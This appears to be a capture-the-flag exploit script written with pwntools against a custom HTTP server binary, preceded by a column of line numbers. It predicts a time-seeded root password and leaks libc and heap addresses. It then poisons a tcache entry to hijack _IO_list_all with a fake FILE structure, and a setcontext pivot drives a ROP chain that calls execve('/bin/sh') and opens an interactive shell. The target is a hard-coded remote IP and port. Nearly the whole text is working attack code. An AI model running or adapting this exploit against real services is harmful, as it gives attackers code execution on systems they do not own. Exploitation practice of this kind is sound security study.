1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232
| from pwn import * from ctypes import *
arch = 64 challenge = './httpd1'
context.os='linux' context.log_level = 'debug' if arch==64: context.arch='amd64' if arch==32: context.arch='i386'
elf = ELF(challenge) libc = ELF('libc.so.6') lib = cdll.LoadLibrary("libc.so.6")
rl = lambda a=False : p.recvline(a) ru = lambda a,b=True : p.recvuntil(a,b) rn = lambda x : p.recvn(x) sn = lambda x : p.send(x) sl = lambda x : p.sendline(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) irt = lambda : p.interactive() dbg = lambda text=None : gdb.attach(p, text)
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s))) uu32 = lambda data : u32(data.ljust(4, b'x00')) uu64 = lambda data : u64(data.ljust(8, b'x00'))
b = "set debug-file-directory ./debug/\n"
local = 1 if local: p = process(challenge) else: p = remote('122.9.149.82','9999') def debug(): gdb.attach(p,"b *$rebase(0x357C)\nb *$rebase(0x353A)\n") def cmd(op): sla(">",str(op))
def register(uid,len,name,passwd="a"): payload = "GET /register?uid={}&len={})&username={}&password={}".format(uid,str(len),name,passwd) sl(payload) payload = "Stdout: 3" sl(payload) sl("")
def logoff(name,passwd="a"): payload = "GET /logoff?username={}&password={}".format(name,passwd) sl(payload) payload = "Stdout: 3" sl(payload) sl("")
def show(name,passwd,fd): payload = "GET /show?username={}&password={}".format(name,passwd) sl(payload) payload = "Stdout: "+str(fd) sl(payload) sl("")
def setlocale_s(locale_setting): payload = "GET /setlocale?locale={}".format(locale_setting) sl(payload) sl("")
def note(name,passwd,buffer,size): payload = "POST /note?username={}&password={}".format(name,passwd) sl(payload)
sleep(0.1) payload = "Content-Length: "+str(size) sl(payload) sl("") pause() p.send(buffer) backdook = 0x2562
for i in range(0x20): register(i,64,str(i))
for i in range(0x1f): logoff(str(i))
register(1,1024,"1")
payload = "GET /init" sl(payload) payload = "Stdout: 3" sl(payload) sl("")
seed = lib.time(0) lib.srand(seed) pswd = ""
for i in range(13): num = lib.rand() % 0x100 while(num >= 0x7f or num <= 0x20): num = lib.rand() % 0x100 print(hex(num)) pswd += chr(num) success(pswd)
show("root",pswd,1)
ru("Content-type: text/html") leak_addr = u64(ru("\x7f")[-5:].ljust(8,b"\x00"))+0x7f*0x10000000000 libc_base = leak_addr - 0x1f72d0 success("leak_addr >> "+hex(leak_addr)) success("libc_base >> "+hex(libc_base))
strlen_got = libc_base + 0x1f6080 remaloc_got = libc_base + 0x1f6010 binsh = libc_base + 0x1b51d2 system = libc_base + libc.sym["system"] execve = libc_base + libc.sym["execve"] one_gadgets = [0x4e880,0xe3199,0xe31f3] one_gadget = libc_base + one_gadgets[2] _IO_list_all = libc_base + libc.sym["_IO_list_all"] setcontext=libc_base+libc.sym['setcontext']
success("remaloc_got >> "+hex(remaloc_got)) success("_IO_list_all >> "+hex(_IO_list_all)) success("system >> "+hex(system))
setlocale_s("en_GB.UTF-8") register(1000,64,"a"*8,passwd="b"*0xd) register(1000,64,"a"*8,passwd="b"*0xd) register(1000,256,"a"*8,passwd="b"*0xd) register(1000,64,"c"*8,passwd="d"*0xd) register(1000,64,"e"*8,passwd="f"*0xd)
logoff("e"*8,passwd="f"*0xd) register(1000,16,"a"*8,passwd="b"*0xd) register(1,64,"yyy",passwd="a:0")
logoff("yyy") show("yyy","a",2)
ru(b"Content-type: text/html\r\n") ru(b"\r\n") leak_addr = u64(p.recv(5).ljust(8,b"\x00")) heap_base = leak_addr*0x1000-0x2000 success("leak_addr >> "+hex(leak_addr)) success("heap_base >> "+hex(heap_base))
register(1,64,"yyy",passwd="a:0") logoff("31") logoff("yyy")
key = (heap_base+0x2200)>>12 payload = p64(_IO_list_all ^ key) note("yyy","a",payload,16)
register(1,1024,"e"*8,passwd="a:0") register(1,64,"yyy",passwd="a:0")
_IO_wfile_jumps = libc_base + libc.sym["_IO_wfile_jumps"]
next_chain = 1 fake_io_addr = heap_base + 0x22b0 payload_addr = heap_base + 0x23c8 flag_addr = heap_base + 0x23c8 socket_addr = heap_base + 0x2538
pop_rax_ret = libc_base + 0x0000000000040123 pop_rdi_ret = libc_base + 0x00000000000240e5 pop_rsi_ret = libc_base + 0x000000000002573e pop_rdx_ret = libc_base + 0x0000000000026302 syscall_ret = libc_base + 0x00000000000e3559
fake_IO_FILE = b"./flag\x00".ljust(8,b"\x00") fake_IO_FILE += p64(0)*7 fake_IO_FILE += p64(1)+p64(2) fake_IO_FILE += p64(payload_addr-0xa0) fake_IO_FILE += p64(setcontext+61) fake_IO_FILE = fake_IO_FILE.ljust(0x68, b'\x00') fake_IO_FILE += p64(0) fake_IO_FILE = fake_IO_FILE.ljust(0x88, b'\x00') fake_IO_FILE += p64(flag_addr) fake_IO_FILE = fake_IO_FILE.ljust(0xa0, b'\x00') fake_IO_FILE += p64(fake_io_addr+0x30) fake_IO_FILE = fake_IO_FILE.ljust(0xc0, b'\x00') fake_IO_FILE += p64(1) fake_IO_FILE = fake_IO_FILE.ljust(0xd0, b'\x00') fake_IO_FILE += p64(1) fake_IO_FILE = fake_IO_FILE.ljust(0xc8, b'\x00') fake_IO_FILE += p64(_IO_wfile_jumps+0x30) fake_IO_FILE += p64(0)*6 fake_IO_FILE += p64(fake_io_addr+0x40)
payload = p64(flag_addr)
payload += p64(pop_rax_ret) + p64(59) payload += p64(pop_rdi_ret) + p64(binsh) payload += p64(pop_rsi_ret) + p64(0) payload += p64(pop_rdx_ret) + p64(0) payload += p64(syscall_ret)
socket_data = p64(0x8108a8c00a1a0002)
note("e"*8,"a",fake_IO_FILE+payload+socket_data,0x400)
payload = p64(fake_io_addr)*8 note("yyy","a",payload,64) success("setcontext+61 >> "+hex(setcontext+61)) success("execve >> "+hex(execve)) success("libc_base >> "+hex(libc_base))
payload = "GET /poweroff" sl(payload) sl("")
p.interactive()
|